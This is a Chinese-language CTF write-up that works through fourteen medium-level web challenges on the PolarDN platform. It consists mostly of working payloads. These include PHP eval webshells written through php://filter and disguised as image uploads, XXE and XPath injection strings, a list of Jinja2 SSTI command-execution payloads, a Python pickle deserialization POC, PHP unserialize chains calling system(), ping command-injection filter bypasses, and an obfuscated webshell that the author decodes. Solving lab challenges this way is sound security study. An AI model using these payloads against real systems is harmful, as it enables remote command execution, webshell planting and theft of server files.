Web刷题之PolarDN(中等)
1.到底给不给flag呢
代码审计
一道典型的php变量覆盖漏洞
相关知识
什么是变量覆盖漏洞
自定义的参数值替换原有变量值的情况称为变量覆盖漏洞
经常导致变量覆盖漏洞场景有:$$使用不当,extract()函数使用不当,parse_str()函数使用不当,import_request_variables()使用不当,开启了全局变量注册等。
$$导致的变量覆盖问题
1.$$介绍
$$这种写法称为可变变量
一个可变变量获取了一个普通变量的值作为这个可变变量的变量名。
<?php
$a = "hello"; // 将变量 $a 赋值为 "hello"
echo "$a"; // 输出: hello
$a = "world"; // 将变量 $a 改为 "world"
echo "$a"; // 输出: world
echo "$$a"; // 这里是变量变量语法。$$a 相当于 $world,意思是输出变量 $world 的值。
echo "$a ${$a}"; // 这是另一个变量变量的例子。${$a} 是通过 $a 的值作为变量名来获取变量的值。这里 $a 的值是 "world",所以 ${$a} 等同于 ${"world"},也就是输出变量 $world 的值(即 world)。
echo "$a $hello"; // 这里会输出 $a 的值(即 world),然后会尝试输出 $hello 变量的值。如果 $hello 变量未定义,则会输出空字符串。
?>
2.漏洞产生
使用foreach来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值。因此就产生了变量覆盖漏洞。
举例
<?php
foreach ($_GET as $key => $value) {
${$key} = $value;
}
echo $a;
?>
get得到的数据$key和$value,关键第3行,${$key}用get传进来的$key做为新的变量,将get传进来的$value赋值给它。
get ?a=1 第3行回解析为$a=1。就造成了变量覆盖。
解题
需要get一个flag和post一个flag。因为isset那里面是&&连接,所有post是不用传参的。所以直接get传参一个flag。
先a=flag然后让flag=a。这样被解析之后,就是$a=$flag&$flag=$a。从而达到真正输出flag的作用。而不会用一个变量a把$flag=flag{xxxxxx}给覆盖。那么最后echo出来的就是$flag。
payload:
?a=flag&flag=a
flag{7c21614802acfb30b55697b3f5122be1}
2.写shell
我们应该需要在filename这里面写入一个content以达到获取flag的效果。那么这就应该写入一句话木马,那么前面的exit()该如何越过成了问题。我去看了wp,发现可以使用base64解密的方式进行绕过。那么就将命令加密,并且前面加上任意一个字母进行分隔,payload:
?filename=php://filter/convert.base64-decode/resource=shell.php
content=aPD89QGV2YWwoJF9QT1NUWzFdKTs/Pg==
其中base64加密的内容:<?=@eval($_POST[1]);?>
然后访问/shell.php发现木马被读入,我们用蚁剑连接一下:
flag{30c42ede8bc4b32e2ae125afaeebee6f}
3.注入
进题点一下User的选项然后抓包,发现了id=1的注入点。但是尝试了好久发现sql注入和ssti注入都是不行的。看了wp才知道是XPATH注入:
尝试一下XPATH注入万能钥匙,payload:
?id=']|//*|//*['
flag{6c6bb83d87d0fcc3cacb9ca45bc37599}
4.某函数的复仇
由于怎么也想不到是哪个函数,我们直接去看了wp。发现是create_function()这个函数。他会直接执行这个创建的新函数。不过它需要一个闭合和一个注释。所以我们构造payload:
?root=;}system('ca\t /f*');/*
shaw=create_function
;}
:闭合create_function
生成的匿名函数体。//
:注释后续可能的闭合字符,这里相当于把原本的}
符号给注释掉,这样我们就执行了system('cat /flag')
函数
flag{10be676ceed9b00b1c286de949790c37}
5.xxe
进题只有一个phpinfo的界面,尝试更改c参数但是没用。然后去看了眼wp,发现可以通过phpinfo查看版本,找到是xxe漏洞。用dirsearch扫一下目录,找到了/dom.php,进入访问:
然后就找到了报错信息,去找了一下xxe漏洞的攻击方式,然后根据wp构造payload:
<?xml version = "1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flagggg.php">
]>
<name>&xxe;</name>
bp中需要将GET修改为POST方法,然后加上媒体类型信息:Content-Type: application/x-www-form-urlencoded,最后末尾添加需上传语句。
将得到的一串base64编码字符串解码
flag{7e97e8c4f9d6be35ae8500b9fb2cdd3e}
6.SSTI
测出SSTI ,参考网上的payload试了一下
payload:
{{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls /').read()")}}
{{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}
flag{74da457f9884bef24f271e377334399a}
SSTI常用payload:
1、任意命令执行
{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('dir').read()%}{%endif%}{%endfor%}
2、任意命令执行
{{"".__class__.__bases__[0]. __subclasses__()[138].__init__.__globals__['popen']('cat /flag').read()}}
//这个138对应的类是os._wrap_close,只需要找到这个类的索引就可以利用这个payload
3、任意命令执行
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('dir').read()")}}
4、任意命令执行
{{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
//x的含义是可以为任意字母,不仅仅限于x
5、任意命令执行
{{config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
6、文件读取
{{x.__init__.__globals__['__builtins__'].open('/flag', 'r').read()}}
//x的含义是可以为任意字母,不仅仅限于x
7.unpickle
题目直接给出源码。
import pickle
import base64
from flask import Flask, request
app = Flask(__name__)
@app.route("/")
def index():
try:
user = base64.b64decode(request.cookies.get('user'))
user = pickle.loads(user)
return user
except:
username = "Guest"
return "Hello %s" % username
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8080)
代码很明显,需要通过Cookie的user值进行接收传递并进行反序列化。
存在python的反序列化函数,可以用到__reduce__
这个魔法方法(注意__reduce__
方法是新式类(内置类)特有的)这一点和PHP中的__wakeup() 魔术方法类似,都是每当反序列化过程开始或者结束时 , 都会自动调用这个魔术方法,因此利用这个魔术方法执行任意命令获取flag。
构造POC:
import requests
import os
import pickle
import base64
class exp:
def __reduce__(self):
return (eval,("open('/flag','r').read()",))
a = exp()
payload = base64.b64encode(pickle.dumps(a))
print(base64.b64decode(payload))
print(payload)
然后得到的base64直接传参:
flag{1cd20c1dbbed0fc7ab481b44006d469f}
8.BlackMagic
进题可以访问一个子域名,我们直接进去访问。
查看网页源代码看到了真正的源码
需要我们输入一个$strTmp,GET和POST传参都可以
$strContent这个变量等于trim($strFlag,$strCharList)
删除空白字符串 trim(), ltrim(), rtrim() 分别用来删除 字符串首尾,字符串开头,字符串结尾的空白符。
trim(),ltrim(),rtrim()函数默认删除的字符:
符号 ASCII码 意义
“ ” 0x20 空格
“\t” 0x09 制表符
"\n" 0X0A 换行符
"\r" 0x0D 回车符
"\0" 0x00 空字符
"\x0B" 0x0B 纵向制表符//可以使用带参数的trim()函数来删除开头或结尾的空白而不删除制表符 $record = " Fred\tFlintstone\t35\tWilma\t \n"; $record = trim($record, " \r\n\0\x0B"); //此时record 值为:"Fred\tFlintstone\t35\tWilma\t"
那这里$strContent的值就是$strFlag变量删除\r回车符、\n换行符、\0空字符、\x0B纵向制表符之后的值:
%09xxxxx...xxxxx%09
我们输入payload:
?strTmp=%09xxxxx...xxxxx%09
flag{ab8aff2d0104e4f883a57880b260b761}
9.反序列化
看别人的wp都是ls页面直接回显flag,但我这不知道为什么不行,最后只有tac绝对路径和一句话木马连接蚁剑才能获得flag
exp:
<?php
class example{
public $handle;
}
class process{
public $pid;
}
$a = new example();
$b = new process();
$b -> pid = "system('tac /var/www/html/flag.php');";
$a -> handle =$b;
echo serialize($a);
?>
O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:37:"system('tac /var/www/html/flag.php');";}}
<?php
class example
{
public $handle;
function __construct(){
$this->handle=new process();//实现第一个需求
}
}
class process{
public $pid;
function __construct(){
$this->pid='@eval($_POST["123"]);';//实现第二个需求
}
}
$test=new example();
echo serialize($test);//输出序列化并当成data的值输入
?>
O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:21:"@eval($_POST["123"]);";}}
10. 找找shell
dirsearch扫描到一个目录shell.php
shell.txt:
<?php
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};
$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};
$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};
$OO0000=$O00OO0{7}.$O00OO0{13};
$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
eval($O00O0O("JE8wTzAwMD0iYk5qRmdRQlpJRXpzbWhHTUNvQUpwV3lSY2xZWHhUZGt1cVNQdmV0S25MSGZyVXdpRE9hVmpnYk9wclpzUVh0ZVRxV0hmbndTb1l1eHlQRWFLTkRrZEFoTWxHaXp2QlJMVmNGSUNVbUpNQzlGbVJ3cHJXSjJFWUZuU085ck4xZ2NZdUQxeTJPaVMxMG9VdXcvTXA9PSI7ZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwkT08wTzAwKCRPME8wMDAsMCwkT08wMDAwKSkpKTs="));
?>
其中的几个变量定义如下,我们将其一个一个输出看看都是什么效果。四个变量从上到下依次是:
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
url解码结果为:
$O00OO0=n1zb/ma5\vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j
$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30}; $O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24}; $OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24}; $OO0000=$O00OO0{7}.$O00OO0{13}; $O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
这几个变量分别对应
$O00O0O = base $O0OO00 = strtr $OO0O00 = substr $OO0000 = 52 $O00O0O. = 64_decode
拼接后的$O00O0O=base64_decode
$O0O000="bNjFgQBZIEzsmhGMCoAJpWyRclYXxTdkuqSPvetKnLHfrUwiDOaVjgbOprZsQXteTqWHfnwSoYuxyPEaKNDkdAhMlGizvBRLVcFICUmJMC9FmRwprWJ2EYFnSO9rN1gcYuD1y2OiS10oUuw/Mp==";eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000))));
将上面几个变量的值代入
$O0O000="bNjFgQBZIEzsmhGMCoAJpWyRclYXxTdkuqSPvetKnLHfrUwiDOaVjgbOprZsQXteTqWHfnwSoYuxyPEaKNDkdAhMlGizvBRLVcFICUmJMC9FmRwprWJ2EYFnSO9rN1gcYuD1y2OiS10oUuw/Mp==";eval('?>'.base64_decode($strtr($substr($O0O000,104),$substr($O0O000,52,52),$substr($O0O000,0,52))));
substr() 可以「截取」字符串。
语法
string substr( $str, start, length);
参数
- $str :被截取的字符串。
- start :开始截取的位置。
- length :截取的长度。
strtr — 转换字符或替换字串
语法
strtr(string $string, string $from, string $to): string
参数
string
:待转换的 string。from
:要转成to
的 string。to
:替换from
的 string。
写个脚本:
<?php
$O0O000 = "bNjFgQBZIEzsmhGMCoAJpWyRclYXxTdkuqSPvetKnLHfrUwiDOaVjgbOprZsQXteTqWHfnwSoYuxyPEaKNDkdAhMlGizvBRLVcFICUmJMC9FmRwprWJ2EYFnSO9rN1gcYuD1y2OiS10oUuw/Mp==";
// 拆分字符串
$part3 = substr($O0O000, 104); // 后52字符
$part2 = substr($O0O000, 52, 52); // 中52字符
$part1 = substr($O0O000, 0, 52); // 前52字符
// 字符替换
$replaced_str = strtr($part3, $part2, $part1);
// Base64解码
$decoded = base64_decode($replaced_str);
// 输出解码内容
echo "替换后的Base64字符串: " . $replaced_str . "\n";
echo "解码结果:\n" . $decoded . "\n";
?>
替换后的Base64字符串:PD9waHAgQGV2YWwoJF9QT1NUWyd1c2FtJ10pOyA/Pg==
解码结果:<?php @eval($_POST['usam']); ?>
我们直接拿去蚁剑连接之前扫到的/shell.php目录
flag{2591c98b70119fe624898b1e424b5e91}
11.再来ping一波啊
进题是一个要ping的文本框:
尝试了好多payload,手测需要的函数过滤了:ls、cat、tac、空格、index。那么我们用引号绕过或者反斜杠绕过。由于当前目录只有index.php,我们尝试读取根目录,发现"/"也被过滤了。那我们先读取index.php吧。用变量拼接绕过,payload:
127.0.0.1;a=inde;b=x.php;ca\t$IFS$a$b
查看源代码发现直接给出了flag
flag{ae5eb824ef87499f644c3f11a7176157}
12.wu
很正常不过滤什么符号的无数字无字母rce:
什么符号都没有过滤,那么我们用异或、取反、自增都是可以的,这里用的是取反:
<?php $a=urlencode(~'system'); $b=urlencode(~'ls'); echo $a; echo "</br>"; echo $b; ?>
输出:%8C%86%8C%8B%9A%92</br>%93%8C
?a=(~%8C%86%8C%8B%9A%92)(~93%8C);
<?php $a=urlencode(~'system'); $b=urlencode(~'cat zheshiflag.php'); echo $a; echo "</br>"; echo $b; ?>
输出:%8C%86%8C%8B%9A%92</br>%9C%9E%8B%DF%85%97%9A%8C%97%96%99%93%9E%98%D1%8F%97%8F
payload:?a=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%85%97%9A%8C%97%96%99%93%9E%98%D1%8F%97%8F);
13.代码审计1
本题考察的是php原生类的寻找和利用,详情可见coleak师傅博客:CTF中常用的php原生类总结_ctf php代码-CSDN博客
源码中echo new $sys($xsx)可以看出是原生类的利用。我们发现这题是读取文件,所以用的是类SplFileObject,然后由于第一个if时xsx并没有赋值,所以第一个if是没用的。
这里我们先用Directorylterator类
输出指定目录里面经过排序之后的第一个文件名。
?sys=DirectoryIterator&xsx=glob://f*
?sys=SplFileObject&xsx=flag.php
这个payload没读出来
SplFileObject
类,只能读取文件的第一行内容,如果想要全部读取就需要用到foreach函数,但若题目中没有给出foreach函数的话,就要用伪协议读取文件的内容
?sys=SplFileObject&xsx=php://filter/read=convert.base64-encode/resource=flag.php
flag{289dff07669d7a23de0ef88d2f7129e7}
14.你的马呢?
无法上传php脚本
方法1:
发现它上传后缀之后,会说“后缀”恭喜你。那么考虑Apache双后缀绕过检测,payload:
一句话木马后缀名改为.php.jpg
一句话木马
GIF89a
<?=
@eval($_REQUEST[777]);
?>
方法2: (wp给的解法)
1.对一句话木马进行base64编码;
2.将php后缀改成jpg文件;
3.上传木马文件;
4.连接webshell,用php伪协议convert.base64-decode解码;
/index.php?file=php://filter/convert.base64-decode/resource=uploads/1.jpg
5.找出flag;